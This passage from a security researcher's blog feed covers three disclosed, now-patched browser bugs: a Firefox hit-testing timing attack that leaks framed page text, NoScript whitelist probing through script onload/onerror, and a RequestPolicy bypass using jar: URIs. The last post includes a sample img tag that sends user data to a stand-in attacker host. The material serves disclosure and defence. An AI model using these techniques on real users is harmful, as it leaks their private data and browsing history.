<p><a href="http://blog.saynotolinux.com/images/posts/frompoint/reltime.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/frompoint/reltime.png" width="600" height="600"></a></p>

<p>Neat.</p>

<p>You can see a number of things in the timing data: the bounding boxes of individual elements, how the lines of text wrap, the position of the bullets in the list, etc.</p>

<p>It also seems that even though <code>elementFromPoint</code> doesn&rsquo;t return elements from the framed document, it still descends into it for its hit testing, so it&rsquo;s vulnerable to
the same timing attack as <code>caretPositionFromPoint</code>.</p>

<h2>Stealing Text</h2>

<p>So we can infer quite a bit about the framed document from the timing information, but can we actually steal text from it? Maybe, with a lot of work, depending on the page&rsquo;s styling.</p>

<p>I&rsquo;d hoped that <code>caretPositionFromPoint</code>&rsquo;s real purpose (determining what character index the caret should be at for a given point) would yield large enough timing differences to leak the width of individual characters, but that didn&rsquo;t seem to be the case.</p>

<p>Since we can tell how wide a line of text is, we can <a href="http://sirdarckcat.blogspot.com/2013/09/matryoshka-wrapping-overflow-leak-on.html#victim2">extract text using a similar method to sirdarckcat&rsquo;s</a>. First we measure how long the line is, then we make the iframe more narrow to force the text to wrap, then we subtract the new width of the the line from the old width, giving us the width of the word that just wrapped.</p>

<p>Since most sites use variable-width fonts (&ldquo;O&rdquo; and &ldquo;i&rdquo; are different widths on this blog, for example,) many small words have distinct widths that make them easy to pick out. With longer words, there may be a number of valid words with that width, however an attacker may be able to determine what word fits best using the context of the surrounding words.</p>

<p>Note that since we need to force text wrapping to get these measurements, it&rsquo;s harder to steal text from fixed-width pages, or pages that display a horizontal scrollbar instead of wrapping text (like <code>view-source:</code> URIs.) Pages that use fixed-width fonts are also more difficult to analyze because characters do not have distinct widths, we can only determine the number of characters in a word.</p>

<h2>Working Examples</h2>

<p>Note that the last Firefox version these actually work in is <code>26</code>, if you want to try them out you&rsquo;ll have to find a download for it.</p>

<ul>
<li><a href="http://saynotolinux.com/tests/moz_frompoint/crossorigin_auto_domsniff_nullity.html">caretPositionFromPoint accessibility PoC</a></li>
<li><a href="http://saynotolinux.com/tests/moz_frompoint/crossorigin_auto_domsniff.html">*FromPoint timing attack PoC</a></li>
</ul>


<h2>The Fix</h2>

<p>Judging from <a href="https://hg.mozilla.org/mozilla-central/rev/cdbe5779c728">Robert O&#8217;Callahan&rsquo;s fix</a>, it looks like Firefox was using a general hit testing function that descended cross-document for both <code>elementFromPoint</code> and <code>caretPositionFromPoint</code>. The fix was to disable cross-document descent in the hit testing function when called by either <code>elementFromPoint</code> or <code>caretPositionFromPoint</code>.</p>

<h2>Disclosure Timeline</h2>

<ul>
<li>Dec. 11 2013: Discovered <code>caretPositionFromPoint</code> leaked info through <code>offsetNode</code> accessibility</li>
<li>Dec. 13 2013: Notified Mozilla</li>
<li>Dec. 13 2013: Mozilla responds</li>
<li>Dec. 15 2013: Discovered timing info leaks in both <code>elementFromPoint</code> and <code>caretPositionFromPoint</code></li>
<li>Dec. 16 2013: Sent update to Mozilla</li>
<li>Dec. 16 2013: Mozilla responds</li>
<li>Dec. 18 2013: <a href="https://hg.mozilla.org/mozilla-central/rev/cdbe5779c728">Fix committed</a></li>
<li>Jan. 16 2014: Fix pushed to Beta channel</li>
<li>Feb. 04 2014: Fix pushed to Stable channel and <a href="https://www.mozilla.org/security/announce/2014/mfsa2014-05.html">advisory posted</a></li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Abusing NoScript's Global Whitelist Rules to Reveal Trusted Sites (the Easy Way)]]></title>
    <link href="http://blog.saynotolinux.com/blog/2013/12/18/abusing-noscripts-global-whitelist-rules-to-reveal-trusted-sites-the-easy-way/"/>
    <updated>2013-12-18T03:58:17-08:00</updated>
    <id>http://blog.saynotolinux.com/blog/2013/12/18/abusing-noscripts-global-whitelist-rules-to-reveal-trusted-sites-the-easy-way</id>
    <content type="html"><![CDATA[<p>Here&rsquo;s one that&rsquo;s been <a href="http://www.w2spconf.com/2011/papers/jspriv.pdf">covered a bit before</a>: <a href="http://noscript.net/">NoScript</a> makes it easy for whitelisted sites to see what other sites are on the whitelist.</p>

<h2>So what&rsquo;s the issue?</h2>

<p>Most of the pertinent info is in the previous paper, but I&rsquo;ll give a brief summary. By default NoScript operates in whitelist mode, forbidding scripts from all domains. Once a site has been added to the whitelist, scripts from that domain <em>as well as those included from other whitelisted domains</em> may be executed on the page.</p>

<!--more-->


<p>NoScript&rsquo;s default whitelist is fairly small, and users don&rsquo;t generally
share sets of whitelist rules (like with Adblock Plus,) so if a
site is whitelisted the user must have used or
visited that site.</p>

<p>Since the only whitelist is a global one (allowing scripts to run <em>on</em> facebook.com also allows other whitelisted domains to execute scripts <em>from</em> facebook.com,) whitelisted sites may infer what other sites are on the whitelist by including scripts from other domains and checking whether or not they execute.</p>

<p>The method described in the paper involves finding a valid script file on the domain you want to test and observing its side effects (modifications to the <code>window</code> object or the DOM.) This can be tedious for an attacker, and requires a bit of manual work. It may also pollute the DOM / <code>window</code> object with junk and break our testing code!</p>

<p>Luckily, there&rsquo;s an easier way. <a href="https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">Mike Cardwell describes</a> a method of determining if a cross-origin resource returned a 200 status code using <code>&lt;script&gt;</code> tags. The <code>&lt;script&gt;</code> tag&rsquo;s <code>onload</code> handler will trigger on a successful HTTP status code, and the <code>onerror</code> handler will trigger otherwise. The <code>&lt;script&gt;</code> tag&rsquo;s <code>onload</code> handler will trigger <em>even if</em> the resource isn&rsquo;t a valid script.</p>

<p>The same method may be used to determine if NoScript has blocked a resource that would normally return a 200 HTTP status code. <code><a href="http://domain.tld/">http://domain.tld/</a></code> usually returns HTML with a 200 status code, so that&rsquo;s a pretty good candidate for testing.</p>

<p>For example:</p>

<figure class='code'><figcaption><span>onload/onerror example</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">&quot;http://google.com&quot;</span> <span class="na">onload=</span><span class="s">&quot;javascript:alert(&#39;google loaded&#39;)&quot;</span> <span class="na">onerror=</span><span class="s">&quot;javascript:alert(&#39;google failed&#39;)&quot;</span><span class="nt">&gt;&lt;/script&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>If you have google.com whitelisted, this will say &ldquo;google loaded!&rdquo;. Otherwise (or if google.com is down for some reason) this will print &ldquo;google failed&rdquo;.</p>

<h2>Cool, let&rsquo;s see it in action!</h2>

<p><a href="http://saynotolinux.com/tests/noscript/whitelist_disclosure.html">Here&rsquo;s an example</a> of how the attack may be used, including a timing attack based on the <a href="http://blog.saynotolinux.com/2013/11/bypassing-requestpolicys-whitelist.html">RequestPolicy bypass described in my last post</a>. Mind, the timing attack is a bit spotty, and generally doesn&rsquo;t work on
the first page load. Refresh the page if it doesn&rsquo;t work the first time.</p>

<p>If you don&rsquo;t have either RequestPolicy or NoScript installed, here&rsquo;s what you should see:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/whitelist-disclosure.png"><img src="http://blog.saynotolinux.com/images/posts/whitelist-disclosure.png"></a></p>

<h2>How can it be fixed?</h2>

<p>Global whitelist entries by their very nature leak info to any other site on the whitelist. This won&rsquo;t be fixed in NoScript until support for per-site whitelists is added and people are encouraged to remove their old global rules.</p>

<p>In the meantime, using a <a href="https://github.com/JordanMilne/requestpolicy">patched RequestPolicy</a> will give you a per-site whitelist for <em>all</em> cross-domain requests, effectively mitigating the issue.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Bypassing RequestPolicy's Whitelist Using the Jar: URI Scheme]]></title>
    <link href="http://blog.saynotolinux.com/blog/2013/11/29/bypassing-requestpolicys-whitelist-using-the-jar-uri-scheme/"/>
    <updated>2013-11-29T04:11:39-08:00</updated>
    <id>http://blog.saynotolinux.com/blog/2013/11/29/bypassing-requestpolicys-whitelist-using-the-jar-uri-scheme</id>
    <content type="html"><![CDATA[<p>Here&rsquo;s an interesting bug I found while looking at some cross-domain data-stealing issues.
It&rsquo;s possible to bypass <a href="https://www.requestpolicy.com/about.html">RequestPolicy</a>&rsquo;s whitelist entirely by referencing a resource nested in a <a href="http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues/">jar URI</a>:</p>

<figure class='code'><figcaption><span>Exfiltration example</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">&quot;jar:http://evil.example.com/logger?userdata=whatever!/foobar&quot;</span> <span class="nt">/&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Firefox will block the resource from being displayed even if it is
valid (due to prior security issues with the jar URI scheme,) but a
cross-domain request is made and it doesn&rsquo;t require JS to execute. This
can be verified through the network pane in Firefox&rsquo;s dev tools. A limited amount of information <em>may</em> be sent back from the server by using timing information.</p>

<!--more-->


<p>Requests to jar URIs don&rsquo;t get processed by RequestPolicy because <a href="https://github.com/RequestPolicy/requestpolicy/blob/20815944fada20a34e75c54221e33259f11aa6c6/src/components/requestpolicyService.js#L1953">aContentLocation&rsquo;s asciiHost is undefined</a> when the jar URI scheme is used, and <a href="https://github.com/RequestPolicy/requestpolicy/blob/20815944fada20a34e75c54221e33259f11aa6c6/src/components/requestpolicyService.js#L1962">it gets treated as an internal request</a>.
Since all <a href="https://github.com/RequestPolicy/requestpolicy/blob/20815944fada20a34e75c54221e33259f11aa6c6/src/components/requestpolicyService.js#L2035">internal requests are implicitly allowed</a>, the request goes through.</p>

<p>I emailed Justin the patch a few months ago, but he hasn&rsquo;t responded.
 Hopefully this gets fixed on the addons.mozilla.org version soon, since
 it limits RequestPolicy&rsquo;s effectiveness at preventing data exfiltration.</p>

<p>For now, you can use <a href="https://github.com/JordanMilne/requestpolicy">my fork of RequestPolicy</a>.
I&rsquo;m not sure if the patch has any interactions with extensions, but it should also fix issues with
nested use of the view-source scheme (which for some reason doesn&rsquo;t implement <a href="http://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsINestedURI.idl">nsINestedURI</a>)</p>

<h2>Proof-of-Concept</h2>

<p>If you&rsquo;d like to see whether or not you&rsquo;re vulnerable, <a href="http://saynotolinux.com/tests/requestpolicy_jar.html">I&rsquo;ve made a Proof-of-Concept</a> that detects whether or not RequestPolicy blocked an image from a jar URI.</p>

<p>Without the patch:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/jar-broken.png"><img src="http://blog.saynotolinux.com/images/posts/jar-broken.png"></a></p>

<p>With the patch:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/jar-fixed.png"><img src="http://blog.saynotolinux.com/images/posts/jar-fixed.png"></a></p>
]]></content>
  </entry>
  
</feed>
